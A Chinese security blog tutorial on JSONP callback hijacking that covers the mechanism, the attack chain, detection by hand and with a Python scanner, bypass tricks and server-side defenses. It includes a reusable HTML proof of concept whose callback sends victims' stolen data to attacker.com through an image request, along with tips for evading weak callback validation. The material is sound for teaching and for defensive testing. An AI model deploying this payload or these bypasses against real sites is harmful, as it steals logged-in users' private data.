news 2026/10/2 12:54:42

JSONP跨域漏洞实战教程:检测利用、工具脚本与防御配置

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
JSONP跨域漏洞实战教程:检测利用、工具脚本与防御配置

很多Web安全从业者容易轻视JSONP漏洞。大家默认这是上古遗留的老旧技术,现代站点都已切换CORS跨域方案,不会存在安全风险。但真实渗透测试与应急响应场景中,大量企业后台、老旧业务系统、第三方接口依然保留JSONP兼容逻辑。

这类漏洞隐蔽性极强,多数是后端静默支持、前端无调用场景,开发者长期遗忘,安全测试经常漏报。同时它的危害远高于普通CSRF,普通CSRF仅能冒用用户身份发起请求,JSONP可以直接窃取登录用户的私密数据,包括账号信息、令牌、业务隐私数据等。

本文从底层原理出发,不堆砌空洞理论,全程落地实战。完整梳理JSONP工作机制、漏洞成因、手工/工具检测方法、完整利用链路、批量检测脚本、生产级防御配置,同时拆解绕过防御的实战技巧,适配红蓝对抗、渗透测试、安全开发、运维加固等各类场景。

一、JSONP核心底层原理(第一性原理拆解)

浏览器同源策略是JSONP技术诞生的核心前提。同源策略限制不同域名、协议、端口的页面互相读取资源,目的是防止恶意站点窃取用户在其他站点的登录态与数据。但同源策略存在明确的豁免规则,页面加载外部脚本、样式、图片等静态资源不受跨域限制。

JSONP就是利用script标签无跨域限制这一特性实现跨域数据传输。它不是标准W3C规范,是Web1.0时代开发者自研的跨域兼容方案,本质是前端脚本动态加载、后端动态拼接JS代码的配合逻辑。

常规JSON数据传输存在明确短板,前端无法直接跨域请求JSON接口,浏览器会直接拦截响应读取行为。JSONP的解决思路非常直接,放弃纯JSON数据返回,将JSON数据包裹在前端自定义的回调函数中,返回一段合法JS代码。浏览器加载这段代码后,自动执行回调函数,前端即可拿到跨域数据。

1.1 标准JSONP正常交互流程

正常业务场景下的JSONP交互分为三步,全程由前端主动触发、后端配合响应:

第一步,前端提前在全局作用域定义好回调函数,用于接收后端返回的数据;第二步,前端动态创建script标签,src指向目标接口,并通过URL参数指定回调函数名;第三步,后端读取URL中的回调参数,将业务JSON数据拼接为函数调用格式返回,浏览器加载脚本后自动执行回调,前端完成跨域数据获取。

最简合法示例如下:

// 前端全局预定义回调函数functiongetUserData(res){console.log("获取跨域用户数据:",res);}// 动态加载JSONP接口脚本letscript=document.createElement("script");script.src="https://target.com/api/user/info?callback=getUserData";document.body.appendChild(script);

后端收到请求后,读取callback参数值getUserData,拼接数据后返回响应内容:

getUserData({"id":1001,"username":"test","token":"xxxxxx"});

此时浏览器正常执行脚本,前端成功获取跨域数据,无任何安全风险。

1.2 Callback参数:JSONP安全的唯一核心

JSONP的英文全称是JSON with Padding,Padding代指的就是回调函数包裹逻辑。整个技术的安全边界,完全由后端对callback参数的校验逻辑决定。

业务正常使用时,前端主动传入合法回调名,后端合规响应。但如果后端无任何校验,直接将用户可控的callback参数原样拼接返回,就会形成高危反射漏洞。攻击者可以自定义任意回调函数名,劫持所有接口响应数据。

市面上绝大多数JSONP漏洞,没有复杂的绕过逻辑,全部源于同一个问题:后端信任客户端传入的callback参数,无白名单、无格式校验、无长度限制。

1.3 JSONP与CORS核心区别

很多人混淆两种跨域方案的安全逻辑,这里做实战化区分,方便理解漏洞本质:

CORS是现代标准化跨域方案,安全控制权在服务端,服务端通过响应头配置允许的域名、请求方式、凭据,精准管控跨域访问权限,默认拒绝所有非法跨域请求。

JSONP是临时兼容方案,无任何原生安全机制,安全完全依赖开发者手动参数过滤。仅支持GET请求,强制携带浏览器Cookie,天然适配会话劫持攻击场景。

二、JSONP漏洞完整攻击链路(对抗式审查拆解)

JSONP漏洞的攻击逻辑和CSRF高度同源,但危害远大于普通CSRF。普通CSRF只能以用户身份发起请求、执行操作,无法读取响应结果;JSONP可以完整读取用户登录态下的接口返回数据,直接窃取隐私信息。

漏洞成立的必要条件只有两个:目标接口支持JSONP回调参数反射、接口需要Cookie会话认证且无额外防御。满足条件即可实现完整数据劫持。

2.1 完整攻击流程图

攻击者服务器目标业务服务器已登录受害者浏览器攻击者服务器目标业务服务器已登录受害者浏览器诱导访问恶意攻击页面(exploit.html)自动携带Cookie请求JSONP漏洞接口返回带用户隐私数据的回调脚本恶意脚本窃取数据并回传攻击者服务器

2.2 分步攻击细节拆解

第一步,受害者保持目标站点登录状态,浏览器缓存有效会话Cookie,未退出登录、未清除缓存。这是攻击成立的基础,JSONP攻击全程复用用户现有登录态,无需欺骗用户输入账号密码。

第二步,攻击者搭建恶意静态页面,页面内置script标签,src指向目标站点存在漏洞的JSONP接口,同时自定义窃取数据的回调函数。

第三步,受害者访问恶意页面,页面自动触发跨域请求。浏览器的同源策略限制仅针对AJAX请求,对script资源加载完全放行,且会自动带上目标站点的Cookie凭据。

第四步,目标服务器接收请求,未校验callback参数合法性,按照默认逻辑拼接用户隐私数据,返回攻击者自定义的回调脚本。

第五步,受害者浏览器执行恶意回调函数,将接口返回的账号、令牌、手机号等隐私数据,通过图片加载、beacon请求、fetch请求等方式,回传至攻击者服务器,攻击者落地存储数据,攻击完成。

2.3 可直接复用的攻击POC代码

以下POC无需后端服务配合,纯前端即可完成数据窃取,适配所有未做参数校验的JSONP漏洞接口,可直接放入HTML文件打开使用:

<!DOCTYPEhtml><html><head><metacharset="utf-8"><title>JSONP数据劫持POC</title></head><body><script>// 自定义回调函数,接收目标站点隐私数据functionstealData(res){console.log("窃取用户数据:",res);// 通过图片请求将数据回传攻击者服务器letimg=newImage();img.src="https://attacker.com/recv.php?data="+btoa(JSON.stringify(res));}</script><!-- 调用目标漏洞接口,触发数据劫持 --><scriptsrc="https://target.com/api/user/info?callback=stealData"></script></body></html>

2.4 真实漏洞案例复盘

HackerOne公开的#10373漏洞报告中,Twitter早期用户信息接口存在无校验JSONP回调漏洞。攻击者构造恶意页面后,可批量窃取已登录用户的昵称、邮箱、唯一ID、公开权限的个人资料,影响数百万普通用户。该漏洞核心成因就是后端完全信任callback参数,未做任何白名单与格式校验。

另有大量中型站点出现同类问题,部分站点仅做简单Referer校验,攻击者通过Referer伪造、页面跳转绕过校验规则,依然可以完成JSONP数据劫持。

三、JSONP漏洞全方位检测方案(手工+工具+脚本批量检测)

JSONP漏洞最大的实战难点不是利用,而是检测。很多业务接口前端早已废弃JSONP调用,但后端代码保留兼容逻辑,属于隐性漏洞,常规扫描工具容易漏报。本节整理实战中最高效的全套检测方法,覆盖人工排查、工具扫描、批量脚本检测。

3.1 人工精准检测流程

人工检测优先抓特征,四个核心判定维度,满足任意一项即可判定接口支持JSONP:

第一,抓取业务请求包,观察URL参数,出现callback、jsonp、cb、jsoncallback等典型参数,默认属于JSONP候选接口,直接自定义参数值测试反射效果。

第二,对所有返回JSON格式的业务接口,手动追加callback=test参数。若原本纯JSON响应变为test({...})函数包裹格式,说明接口存在无校验JSONP反射。

第三,部分接口通过format参数控制返回格式,将format=json修改为format=jsonp,观察响应格式变化,多数隐性JSONP接口可通过该方式发现。

第四,观察接口响应头Content-Type,正常JSON接口为application/json,若响应为application/javascript且内容是函数包裹数据,百分百为JSONP接口。

3.2 Burp工具自动化检测

日常渗透测试中,推荐使用JSONP HunterBurp插件自动化扫描,无需人工逐个测试。插件会自动遍历所有请求,识别可反射的callback参数,批量判定漏洞风险,大幅减少漏报概率。

基础手工联动Burp的检测流程:拦截所有流量,导出所有JSON接口URL,批量追加callback参数重放,统一查看响应格式,快速筛选漏洞接口。

3.3 自研Python批量检测脚本(可直接部署)

针对批量资产检测场景,这里提供完整可运行的JSONP漏洞检测脚本,支持批量URL扫描、结果分级输出、漏洞标记,适配内网资产批量巡检、红蓝对抗资产筛查场景。脚本自动跳过无效请求,识别严格白名单校验的安全接口,准确率高于通用扫描器。

importrequestsimportsysimporttime# 关闭请求告警requests.packages.urllib3.disable_warnings()# 检测配置TIMEOUT=8USER_AGENT="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"TEST_CALLBACK="jsonp_test_123456"# 待检测URL列表,可自行批量导入url_list=["https://target.com/api/user/info","https://target.com/api/user/profile"]defcheck_jsonp_vuln(url):# 拼接测试callback参数test_url=f"{url}?callback={TEST_CALLBACK}"headers={"User-Agent":USER_AGENT}try:res=requests.get(test_url,headers=headers,timeout=TIMEOUT,verify=False)# 判断响应是否存在完整回调反射ifres.status_code==200andTEST_CALLBACKinres.textand"("inres.textand")"inres.text:print(f"[+] 发现高危JSONP漏洞:{url}")print(f"[+] 响应片段:{res.text[:100]}...")returnTrueelse:print(f"[-] 接口安全无漏洞:{url}")returnFalseexceptExceptionase:print(f"[!] 请求异常:{url}| 错误:{str(e)[:50]}")returnFalseif__name__=="__main__":print("===== JSONP批量漏洞检测工具启动 =====")vuln_count=0fortargetinurl_list:ifcheck_jsonp_vuln(target):vuln_count+=1time.sleep(0.5)print(f"\n===== 检测完成,共发现{vuln_count}个漏洞接口 =====")

脚本使用方式:修改url_list数组填入目标接口,直接运行即可,自动区分漏洞接口与安全接口,输出详细检测结果。

3.4 开源工具补充

除自研脚本外,两款主流专用工具可适配不同场景:kapytein/jsonp适合命令行批量探测,支持自定义回调规则;zigoo0/JSONBee专注POC生成,可根据漏洞场景一键输出可直接使用的HTML攻击代码,无需手动编写Payload。

四、JSONP漏洞绕过技巧(对抗式攻防进阶)

部分站点会做基础防御,但校验逻辑不严谨,存在大量绕过空间。实战中常见的弱校验绕过方式,是红蓝对抗的重点突破点。

4.1 宽松正则校验绕过

很多开发者仅简单匹配字母数字,未限制格式与长度,正则规则为[a-zA-Z0-9_]+。这类规则可以通过拼接特殊字符、嵌套函数、对象属性调用绕过,依然实现数据窃取。

例如传入callback=steal.data,后端正则放行后,返回steal.data({...}),前端可通过定义对应对象方法完成数据接收。

4.2 Referer校验绕过

部分站点依赖Referer字段校验请求来源,但Referer可被客户端伪造,同时部分场景下浏览器会自动清空Referer字段,导致校验逻辑失效。单纯依靠Referer防御JSONP漏洞,完全无法抵御高阶攻击。

4.3 长度限制绕过

部分站点限制回调名最短/最长长度,但未限制字符组合,攻击者可通过填充合法字符、分段回调、嵌套回调等方式绕过长度限制,完成数据劫持。

五、生产级JSONP防御配置(全场景落地方案)

结合第一性原理,JSONP漏洞的根源是用户可控参数无校验、老旧兼容逻辑留存、安全策略缺失。防御无需复杂逻辑,核心是从根源截断攻击链路。本节提供可直接落地的生产配置,适配开发、运维、安全加固全场景。

5.1 最优方案:彻底下线JSONP接口

现代Web业务完全不需要依赖JSONP跨域,所有场景均可通过CORS、同源请求替代。所有老旧业务优先迁移至CORS标准跨域方案,直接删除后端JSONP回调反射逻辑,从根源消灭漏洞风险。这是成本最低、安全性最高的防御方式。

5.2 兼容场景:严格Callback白名单校验

若业务必须保留JSONP兼容能力,禁止客户端自定义回调名。后端固定合法回调名称,直接忽略客户端传入的callback参数,不做任何用户参数反射。

若必须支持动态回调,使用强正则限制格式,强制规则:首字符为字母,仅允许字母、数字、下划线,长度3-32位,拒绝所有特殊字符、嵌套字符、超长字符。

// Java后端安全校验正则示例publicstaticbooleancheckCallback(Stringcallback){Stringreg="^[a-zA-Z][a-zA-Z0-9_]{2,31}$";returncallback.matches(reg);}

5.3 安全头防御:CSP策略拦截恶意执行

配置Content-Security-Policy响应头,限制脚本加载来源,禁止行内脚本与动态脚本执行。即使站点存在JSONP漏洞,攻击者的恶意回调脚本也无法执行,直接阻断攻击落地。

生产可用CSP配置:

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-xxx';

5.4 请求源校验:优先Origin头校验

敏感业务接口禁止使用Referer校验,优先校验Origin请求头。Origin字段无法被客户端轻易伪造,精准识别请求来源域名,仅允许白名单内域名发起JSONP请求,拦截所有非法跨域请求。

5.5 会话加固:Cookie与双Token防御

对所有带登录态的接口,配置SameSite=Strict Cookie属性,禁止跨站请求携带Cookie。同时接入双提交CSRF Token机制,即使JSONP接口存在反射漏洞,攻击者也无法完成带凭据的跨域请求,彻底杜绝数据劫持风险。

六、JSONP与CORS漏洞区分与面试核心考点

面试与实战中,很多人混淆JSONP跨域劫持与CORS跨域漏洞,这里做清晰区分,方便快速记忆与落地应用。

CORS漏洞是服务端配置过宽,允许非法域名跨域读取数据,支持所有请求方式,攻防核心在响应头配置。JSONP漏洞是老旧接口参数反射导致,仅支持GET请求,攻防核心在callback参数校验。

两者最终危害一致,都是跨域数据窃取,但漏洞成因、检测方式、防御配置完全不同,渗透测试中需要分开排查,不可互相替代。

七、总结

JSONP不是过时的无效漏洞,是长期存在、极易漏报、危害极高的Web高危漏洞。它的所有安全问题都源于设计缺陷,无原生安全机制,完全依赖人工校验。大量企业遗留业务、第三方接口、后台管理系统依然保留静默JSONP兼容逻辑,是红蓝对抗、渗透测试中稳定的打点突破口。

实战中无需记忆复杂绕过技巧,坚守核心原则:所有用户可控的回调参数必须严格校验,老旧JSONP接口优先下线,敏感接口做多维度来源与会话加固。掌握本文的检测脚本、POC代码、防御配置,即可覆盖99%的JSONP攻防场景。

互动提问

1. 你在渗透测试中遇到过哪些前端废弃、后端静默保留的隐性JSONP漏洞?

2. 除了本文提到的防御方式,你还见过哪些有效的JSONP漏洞加固方案?

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/10/2 12:54:38

大模型热搜第一,企业后台还在跑一片“林子”

2026 年,大模型发布会一个接一个。上下文更长、多模态更全、API 更便宜,技术社区的讨论几乎被生成式 AI 占满。 但把视角切到银行风控、保险核保、电商反刷单、工业设备预警这些系统后台,会发现另一件事: 很多核心预测任务,仍然由一片“林子”在完成。 不是比喻。是随机…

作者头像 李华
网站建设 2026/10/2 12:54:29

基于Dify搭建hindsight:大模型驱动的结构化复盘工作流

很多做项目的人都有一种感觉&#xff1a;事情做完之后回头看&#xff0c;所有问题都清清楚楚摆在眼前&#xff0c;但在当时偏偏就是没人发现。这个现象就是英文里常说的 hindsight&#xff0c;也就是“后见之明”。我平时主要折腾大模型应用开发&#xff0c;最近正好在 Dify 社…

作者头像 李华
网站建设 2026/10/2 12:53:57

喀什玻璃钢水罐加工厂优选,欣业复合材料质量好广受好评

喀什玻璃钢水罐加工厂优选&#xff0c;欣业复合材料质量好广受好评在新疆喀什这片广袤的土地上&#xff0c;坐落着一家深耕复合材料领域十余年的本土企业——新疆欣业复合材料有限公司。公司主营玻璃钢管道、玻璃钢化粪池、玻璃钢储罐、玻璃钢电缆管、玻璃钢水箱、玻璃钢格栅、…

作者头像 李华
网站建设 2026/10/2 12:53:27

上海家装工装木门定制制造商挑选全攻略:质量好的源头厂家推荐

挑选木门定制厂家&#xff0c;是家装与工程项目中不可忽视的关键决策。门扇用得好不好&#xff0c;直接关系居住健康、装修颜值与后期使用成本。上海及周边地区的采购方&#xff0c;无论家庭自住、公寓酒店工程&#xff0c;还是经销商批量拿货、外贸订单采购&#xff0c;都面临…

作者头像 李华